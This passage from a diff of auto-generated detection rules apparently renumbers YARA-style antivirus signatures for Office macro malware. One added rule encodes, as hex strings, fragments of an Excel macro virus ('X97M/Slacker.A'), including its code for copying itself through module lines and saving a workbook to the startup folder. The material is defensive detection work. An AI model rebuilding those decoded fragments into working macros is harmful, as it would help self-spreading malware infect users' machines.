1)*19747+(#a_29_1 & 1)*8736+(#a_20_2 & 1)*12579+(#a_20_3 & 1)*29551+(#a_74_4 & 1)*25940) >=5 } -rule _InfrastructureShared_24195{ +rule _InfrastructureShared_25483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315305,7 +331825,7 @@ rule _InfrastructureShared_24195{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*29537+(#a_00_2 & 1)*-28670+(#a_3d_3 & 1)*7936+(#a_74_4 & 1)*25970) >=5 } -rule _InfrastructureShared_24196{ +rule _InfrastructureShared_25484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -315322,7 +331842,7 @@ rule _InfrastructureShared_24196{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*10327+(#a_57_2 & 1)*26691+(#a_3a_3 & 1)*25956+(#a_6e_4 & 1)*12147+(#a_38_5 & 1)*21589+(#a_64_6 & 1)*30071+(#a_69_7 & 1)*26470) >=1 } -rule _InfrastructureShared_24197{ +rule _InfrastructureShared_25485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315335,7 +331855,7 @@ rule _InfrastructureShared_24197{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28781+(#a_73_2 & 1)*21339+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_24198{ +rule _InfrastructureShared_25486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315346,7 +331866,7 @@ rule _InfrastructureShared_24198{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*24954) >=3 } -rule _InfrastructureShared_24199{ +rule _InfrastructureShared_25487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315360,7 +331880,7 @@ rule _InfrastructureShared_24199{ ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*9760+(#a_00_2 & 1)*8812+(#a_70_3 & 1)*16641+(#a_29_4 & 1)*26992) >=5 } -rule _InfrastructureShared_24200{ +rule _InfrastructureShared_25488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315374,7 +331894,7 @@ rule _InfrastructureShared_24200{ ((#a_53_0 & 1)*19747+(#a_26_1 & 1)*10496+(#a_2e_2 & 1)*25972+(#a_20_3 & 1)*-28640+(#a_20_4 & 1)*26740) >=5 } -rule _InfrastructureShared_24201{ +rule _InfrastructureShared_25489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315387,7 +331907,7 @@ rule _InfrastructureShared_24201{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*24948+(#a_29_2 & 1)*25711+(#a_72_3 & 1)*29806) >=4 } -rule _InfrastructureShared_24202{ +rule _InfrastructureShared_25490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,64 00 64 00 08 00 21 " @@ -315403,7 +331923,7 @@ rule _InfrastructureShared_24202{ ((#a_43_0 & 1)*19747+(#a_44_2 & 1)*21358+(#a_20_3 & 1)*8293+(#a_22_4 & 1)*8736+(#a_20_5 & 1)*8226+(#a_44_6 & 1)*21076+(#a_69_7 & 1)*25454) >=100 } -rule _InfrastructureShared_24203{ +rule _InfrastructureShared_25491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -315416,7 +331936,7 @@ rule _InfrastructureShared_24203{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*814+(#a_00_2 & 1)*3216+(#a_02_3 & 1)*28783) >=1 } -rule _InfrastructureShared_24204{ +rule _InfrastructureShared_25492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 06 00 21 " @@ -315430,7 +331950,7 @@ rule _InfrastructureShared_24204{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*30063+(#a_2e_2 & 1)*14080+(#a_20_3 & 1)*30060+(#a_00_5 & 1)*1) >=4 } -rule _InfrastructureShared_24205{ +rule _InfrastructureShared_25493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315444,7 +331964,7 @@ rule _InfrastructureShared_24205{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8819+(#a_4d_2 & 1)*22845+(#a_3d_3 & 1)*15725+(#a_02_4 & 1)*8302) >=5 } -rule _InfrastructureShared_24206{ +rule _InfrastructureShared_25494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315458,7 +331978,7 @@ rule _InfrastructureShared_24206{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8787+(#a_4d_2 & 1)*21829+(#a_53_3 & 1)*28245+(#a_90_4 & 1)*30821) >=5 } -rule _InfrastructureShared_24207{ +rule _InfrastructureShared_25495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315472,7 +331992,7 @@ rule _InfrastructureShared_24207{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*29557+(#a_75_2 & 1)*11892+(#a_02_3 & 1)*10341+(#a_90_4 & 1)*8194) >=5 } -rule _InfrastructureShared_24208{ +rule _InfrastructureShared_25496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -315488,7 +332008,7 @@ rule _InfrastructureShared_24208{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28621+(#a_02_2 & 1)*24352+(#a_20_3 & 1)*25939+(#a_69_4 & 1)*28755+(#a_70_5 & 1)*8253+(#a_22_7 & 1)*15616) >=8 } -rule _InfrastructureShared_24209{ +rule _InfrastructureShared_25497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 19 00 21 " @@ -315522,7 +332042,7 @@ rule _InfrastructureShared_24209{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*8253+(#a_22_2 & 1)*15616+(#a_00_3 & 1)*8805+(#a_22_4 & 1)*15616+(#a_22_5 & 1)*26739+(#a_2c_6 & 1)*27749+(#a_77_7 & 1)*17518+(#a_49_8 & 1)*14080+(#a_69_9 & 1)*25409+(#a_52_10 & 1)*27758+(#a_41_11 & 1)*12914+(#a_41_12 & 1)*12914+(#a_47_13 & 1)*29554+(#a_33_14 & 1)*28482+(#a_72_15 & 1)*29793+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1) >=1 } -rule _InfrastructureShared_24210{ +rule _InfrastructureShared_25498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -315537,7 +332057,7 @@ rule _InfrastructureShared_24210{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*26988+(#a_68_2 & 1)*8302+(#a_6f_3 & 1)*29555+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_24211{ +rule _InfrastructureShared_25499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -315554,7 +332074,7 @@ rule _InfrastructureShared_24211{ ((#a_53_0 & 1)*19747+(#a_79_1 & 1)*28532+(#a_6f_2 & 1)*7424+(#a_20_3 & 1)*8300+(#a_46_4 & 1)*25970+(#a_61_5 & 1)*11830+(#a_2f_6 & 1)*28784+(#a_43_7 & 1)*30812) >=1 } -rule _InfrastructureShared_24212{ +rule _InfrastructureShared_25500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 10 00 21 " @@ -315579,7 +332099,7 @@ rule _InfrastructureShared_24212{ ((#a_53_0 & 1)*19747+(#a_6b_1 & 1)*269+(#a_71_2 & 1)*17205+(#a_63_3 & 1)*3328+(#a_81_4 & 1)*26242+(#a_20_5 & 1)*8226+(#a_20_6 & 1)*28521+(#a_00_7 & 1)*144+(#a_64_8 & 1)*17667+(#a_54_9 & 1)*26930+(#a_20_10 & 1)*-28626+(#a_46_11 & 1)*22306+(#a_31_12 & 1)*28005+(#a_00_13 & 1)*144+(#a_6e_14 & 1)*17923+(#a_2c_15 & 1)*25120) >=1 } -rule _InfrastructureShared_24213{ +rule _InfrastructureShared_25501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -315593,7 +332113,7 @@ rule _InfrastructureShared_24213{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6e_2 & 1)*17923+(#a_20_4 & 1)*28229+(#a_46_5 & 1)*22322) >=6 } -rule _InfrastructureShared_24214{ +rule _InfrastructureShared_25502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315605,7 +332125,7 @@ rule _InfrastructureShared_24214{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_32_2 & 1)*18004) >=3 } -rule _InfrastructureShared_24215{ +rule _InfrastructureShared_25503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315617,7 +332137,7 @@ rule _InfrastructureShared_24215{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*29026+(#a_20_2 & 1)*656) >=3 } -rule _InfrastructureShared_24216{ +rule _InfrastructureShared_25504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315630,7 +332150,7 @@ rule _InfrastructureShared_24216{ ((#a_53_0 & 1)*19747+(#a_37_1 & 1)*12854+(#a_33_2 & 1)*13874+(#a_90_3 & 1)*14391) >=4 } -rule _InfrastructureShared_24217{ +rule _InfrastructureShared_25505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315643,7 +332163,7 @@ rule _InfrastructureShared_24217{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*29557+(#a_2e_3 & 1)*12032+(#a_64_4 & 1)*26996) >=5 } -rule _InfrastructureShared_24218{ +rule _InfrastructureShared_25506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -315661,7 +332181,7 @@ rule _InfrastructureShared_24218{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28261+(#a_50_2 & 1)*26485+(#a_29_3 & 1)*29186+(#a_00_4 & 1)*144+(#a_79_5 & 1)*11779+(#a_03_6 & 1)*1+(#a_4a_7 & 1)*0+(#a_00_8 & 1)*29816) >=9 } -rule _InfrastructureShared_24219{ +rule _InfrastructureShared_25507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315673,7 +332193,7 @@ rule _InfrastructureShared_24219{ ((#a_53_0 & 1)*19747+(#a_1b_1 & 1)*15647+(#a_1b_2 & 1)*11305) >=3 } -rule _InfrastructureShared_24220{ +rule _InfrastructureShared_25508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315686,7 +332206,7 @@ rule _InfrastructureShared_24220{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25970+(#a_5c_2 & 1)*26988+(#a_74_3 & 1)*25965) >=4 } -rule _InfrastructureShared_24221{ +rule _InfrastructureShared_25509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315700,7 +332220,7 @@ rule _InfrastructureShared_24221{ ((#a_6c_0 & 1)*16675+(#a_6f_1 & 1)*29285+(#a_65_2 & 1)*26977+(#a_42_3 & 1)*10355+(#a_54_4 & 1)*19767) >=5 } -rule _InfrastructureShared_24222{ +rule _InfrastructureShared_25510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -315715,7 +332235,7 @@ rule _InfrastructureShared_24222{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*30583+(#a_2f_2 & 1)*14960+(#a_77_3 & 1)*30511+(#a_6c_4 & 1)*29800+(#a_63_5 & 1)*28755) >=1 } -rule _InfrastructureShared_24223{ +rule _InfrastructureShared_25511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315728,7 +332248,7 @@ rule _InfrastructureShared_24223{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*11817+(#a_74_2 & 1)*28719+(#a_6c_3 & 1)*25960) >=4 } -rule _InfrastructureShared_24224{ +rule _InfrastructureShared_25512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -315741,7 +332261,7 @@ rule _InfrastructureShared_24224{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_74_2 & 1)*21251+(#a_90_3 & 1)*8194) >=4 } -rule _InfrastructureShared_24225{ +rule _InfrastructureShared_25513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315755,7 +332275,7 @@ rule _InfrastructureShared_24225{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*26166+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_24226{ +rule _InfrastructureShared_25514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315769,7 +332289,7 @@ rule _InfrastructureShared_24226{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*20331+(#a_73_2 & 1)*27502+(#a_6e_3 & 1)*17923+(#a_68_4 & 1)*8230) >=5 } -rule _InfrastructureShared_24227{ +rule _InfrastructureShared_25515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 09 00 21 " @@ -315787,7 +332307,7 @@ rule _InfrastructureShared_24227{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*9760+(#a_02_2 & 1)*10354+(#a_28_3 & 1)*26691+(#a_2c_4 & 1)*25120+(#a_20_5 & 1)*8226+(#a_67_6 & 1)*11377+(#a_00_7 & 1)*5+(#a_45_8 & 1)*21076) >=1 } -rule _InfrastructureShared_24228{ +rule _InfrastructureShared_25516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -315798,7 +332318,7 @@ rule _InfrastructureShared_24228{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740) >=2 } -rule _InfrastructureShared_24229{ +rule _InfrastructureShared_25517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315812,7 +332332,7 @@ rule _InfrastructureShared_24229{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_24230{ +rule _InfrastructureShared_25518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -315826,7 +332346,7 @@ rule _InfrastructureShared_24230{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*26996+(#a_22_2 & 1)*30831+(#a_20_3 & 1)*-28638+(#a_02_4 & 1)*8224) >=5 } -rule _InfrastructureShared_24231{ +rule _InfrastructureShared_25519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -315837,7 +332357,7 @@ rule _InfrastructureShared_24231{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740) >=2 } -rule _InfrastructureShared_24232{ +rule _InfrastructureShared_25520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315849,7 +332369,7 @@ rule _InfrastructureShared_24232{ ((#a_53_0 & 1)*19747+(#a_45_1 & 1)*17974+(#a_36_2 & 1)*13875) >=3 } -rule _InfrastructureShared_24233{ +rule _InfrastructureShared_25521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -315865,7 +332385,7 @@ rule _InfrastructureShared_24233{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2e_2 & 1)*4864+(#a_90_3 & 1)*25972+(#a_00_4 & 1)*144+(#a_6e_5 & 1)*17923+(#a_29_6 & 1)*656) >=7 } -rule _InfrastructureShared_24234{ +rule _InfrastructureShared_25522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -315879,7 +332399,7 @@ rule _InfrastructureShared_24234{ ((#a_43_0 & 1)*19747+(#a_72_2 & 1)*8253+(#a_06_3 & 1)*1424+(#a_20_4 & 1)*8233+(#a_65_5 & 1)*21251) >=13 } -rule _InfrastructureShared_24235{ +rule _InfrastructureShared_25523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -315893,7 +332413,7 @@ rule _InfrastructureShared_24235{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*8307+(#a_02_2 & 1)*8235+(#a_74_3 & 1)*25970+(#a_6f_5 & 1)*28498) >=6 } -rule _InfrastructureShared_24236{ +rule _InfrastructureShared_25524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 07 00 21 " @@ -315909,7 +332429,7 @@ rule _InfrastructureShared_24236{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*29801+(#a_00_2 & 1)*10537+(#a_6f_3 & 1)*29441+(#a_62_4 & 1)*17409+(#a_00_5 & 1)*21581+(#a_43_6 & 1)*15648) >=6 } -rule _InfrastructureShared_24237{ +rule _InfrastructureShared_25525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 09 00 21 " @@ -315927,7 +332447,7 @@ rule _InfrastructureShared_24237{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16741+(#a_29_2 & 1)*10355+(#a_65_3 & 1)*25705+(#a_6c_4 & 1)*10272+(#a_76_5 & 1)*8736+(#a_4d_6 & 1)*19265+(#a_6e_7 & 1)*29026+(#a_62_8 & 1)*11367) >=8 } -rule _InfrastructureShared_24238{ +rule _InfrastructureShared_25526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315939,7 +332459,7 @@ rule _InfrastructureShared_24238{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740+(#a_20_2 & 1)*26479) >=3 } -rule _InfrastructureShared_24239{ +rule _InfrastructureShared_25527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -315951,7 +332471,7 @@ rule _InfrastructureShared_24239{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*14957+(#a_78_2 & 1)*11374) >=3 } -rule _InfrastructureShared_24240{ +rule _InfrastructureShared_25528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -315967,7 +332487,7 @@ rule _InfrastructureShared_24240{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*29808+(#a_0a_2 & 1)*-28562+(#a_72_3 & 1)*17184+(#a_3c_4 & 1)*10503+(#a_00_5 & 1)*8+(#a_74_6 & 1)*27973) >=7 } -rule _InfrastructureShared_24241{ +rule _InfrastructureShared_25529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -315983,7 +332503,7 @@ rule _InfrastructureShared_24241{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*28265+(#a_53_3 & 1)*6144+(#a_3d_4 & 1)*8194+(#a_02_5 & 1)*8736+(#a_00_6 & 1)*87+(#a_00_7 & 1)*10309) >=8 } -rule _InfrastructureShared_24242{ +rule _InfrastructureShared_25530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0e 00 21 " @@ -316005,7 +332525,7 @@ rule _InfrastructureShared_24242{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*87+(#a_00_2 & 1)*10309+(#a_01_4 & 1)*10+(#a_52_5 & 1)*0+(#a_24_6 & 1)*26479+(#a_62_7 & 1)*25701+(#a_00_8 & 1)*21581+(#a_22_9 & 1)*29026+(#a_71_10 & 1)*8236+(#a_67_11 & 1)*30055+(#a_53_12 & 1)*8993+(#a_65_13 & 1)*17772) >=11 } -rule _InfrastructureShared_24243{ +rule _InfrastructureShared_25531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316018,7 +332538,7 @@ rule _InfrastructureShared_24243{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*28784+(#a_22_2 & 1)*27182+(#a_6a_3 & 1)*11298) >=4 } -rule _InfrastructureShared_24244{ +rule _InfrastructureShared_25532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -316029,7 +332549,7 @@ rule _InfrastructureShared_24244{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*29740) >=2 } -rule _InfrastructureShared_24245{ +rule _InfrastructureShared_25533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316040,7 +332560,7 @@ rule _InfrastructureShared_24245{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*8736) >=3 } -rule _InfrastructureShared_24246{ +rule _InfrastructureShared_25534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316054,7 +332574,7 @@ rule _InfrastructureShared_24246{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_25_2 & 1)*-28640+(#a_00_3 & 1)*144+(#a_78_4 & 1)*19971) >=5 } -rule _InfrastructureShared_24247{ +rule _InfrastructureShared_25535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316067,7 +332587,7 @@ rule _InfrastructureShared_24247{ ((#a_53_0 & 1)*19747+(#a_36_1 & 1)*10593+(#a_29_2 & 1)*13864+(#a_77_4 & 1)*8253) >=5 } -rule _InfrastructureShared_24248{ +rule _InfrastructureShared_25536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 08 00 21 " @@ -316084,7 +332604,7 @@ rule _InfrastructureShared_24248{ ((#a_4c_0 & 1)*21539+(#a_2b_1 & 1)*26214+(#a_72_2 & 1)*30318+(#a_31_3 & 1)*11040+(#a_28_4 & 1)*28261+(#a_28_5 & 1)*26691+(#a_63_6 & 1)*8230+(#a_31_7 & 1)*12584) >=2 } -rule _InfrastructureShared_24249{ +rule _InfrastructureShared_25537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 03 00 21 " @@ -316096,7 +332616,7 @@ rule _InfrastructureShared_24249{ ((#a_53_0 & 1)*19747+(#a_0a_1 & 1)*-28640+(#a_63_2 & 1)*30821) >=4 } -rule _InfrastructureShared_24250{ +rule _InfrastructureShared_25538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316109,7 +332629,7 @@ rule _InfrastructureShared_24250{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_74_2 & 1)*21251+(#a_65_3 & 1)*24933) >=4 } -rule _InfrastructureShared_24251{ +rule _InfrastructureShared_25539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316123,7 +332643,7 @@ rule _InfrastructureShared_24251{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*2704+(#a_90_2 & 1)*15392+(#a_02_3 & 1)*8744+(#a_3b_4 & 1)*400) >=5 } -rule _InfrastructureShared_24252{ +rule _InfrastructureShared_25540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316137,7 +332657,7 @@ rule _InfrastructureShared_24252{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*21249+(#a_31_2 & 1)*26996+(#a_22_3 & 1)*29285+(#a_48_4 & 1)*8448) >=5 } -rule _InfrastructureShared_24253{ +rule _InfrastructureShared_25541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -316151,7 +332671,21 @@ rule _InfrastructureShared_24253{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*656+(#a_5b_2 & 1)*10496+(#a_90_3 & 1)*23916+(#a_2e_4 & 1)*12544) >=1 } -rule _InfrastructureShared_24254{ +rule _InfrastructureShared_25542{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 05 00 21 " + + strings : + $a_46_0 = {56 69 72 75 73 3a 58 39 37 4d 2f 53 6c 61 63 6b 65 72 2e 41 00 01 00 20 00 49 66 20 77 32 2e 4c 69 6e 65 73 28 31 2c 20 31 29 20 3c 3e 20 22 27 4f 4f 4f 22 20 54 68 65 6e 01 00 2e 00 77 32 2e 49 6e 73 65 72 74 4c 69 6e 65 73 20 } //16675 + $a_77_1 = {2e 4c 69 6e 65 73 28 31 2c 20 77 31 2e 43 6f 75 6e 74 4f 66 4c 69 6e 65 73 29 01 00 42 00 49 66 } //11313 + $a_61_2 = {65 28 44 69 72 28 41 70 70 6c 69 63 61 74 69 6f 6e 2e 53 74 61 72 74 75 70 50 61 74 68 20 2b 20 22 5c 62 6f 6f 6b 31 2e 22 29 29 20 3c 3e 20 22 42 4f 4f 4b 31 22 20 54 68 65 6e 01 00 30 00 78 6c 43 4d } //21792 + $a_73_3 = {72 74 4c 69 6e 65 73 20 31 2c 20 77 31 2e 4c 69 6e 65 73 28 31 2c 20 77 31 2e 43 6f 75 6e 74 4f 66 4c 69 6e 65 73 29 01 00 60 00 78 6c 57 42 2e 53 61 76 65 41 73 20 46 69 6c 65 6e 61 6d 65 3a 3d 41 70 70 6c 69 63 61 74 69 6f 6e 2e 53 74 61 72 74 75 70 50 61 74 68 20 2b 20 22 5c 42 6f 6f 6b 31 2e 22 2c 20 46 69 6c 65 46 6f 72 6d } //18734 + $a_3d_4 = {6c 4e 6f 72 6d 61 6c 2c 20 41 64 64 54 6f 4d 72 75 3a 3d 46 61 6c 73 65 00 00 8f 58 01 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 } //29793 + condition: + ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*11313+(#a_61_2 & 1)*21792+(#a_73_3 & 1)*18734+(#a_3d_4 & 1)*29793) >=2 + +} +rule _InfrastructureShared_25543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316165,7 +332699,7 @@ rule _InfrastructureShared_24254{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*26722+(#a_63_2 & 1)*8292+(#a_74_3 & 1)*25134+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_24255{ +rule _InfrastructureShared_25544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316179,7 +332713,7 @@ rule _InfrastructureShared_24255{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_29_2 & 1)*656+(#a_6e_3 & 1)*2+(#a_5a_4 & 1)*0) >=5 } -rule _InfrastructureShared_24256{ +rule _InfrastructureShared_25545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316192,7 +332726,7 @@ rule _InfrastructureShared_24256{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_22_2 & 1)*29184+(#a_2b_3 & 1)*12290) >=4 } -rule _InfrastructureShared_24257{ +rule _InfrastructureShared_25546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316205,7 +332739,7 @@ rule _InfrastructureShared_24257{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8819+(#a_4d_2 & 1)*22845+(#a_3d_3 & 1)*15725) >=5 } -rule _InfrastructureShared_24258{ +rule _InfrastructureShared_25547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316217,7 +332751,7 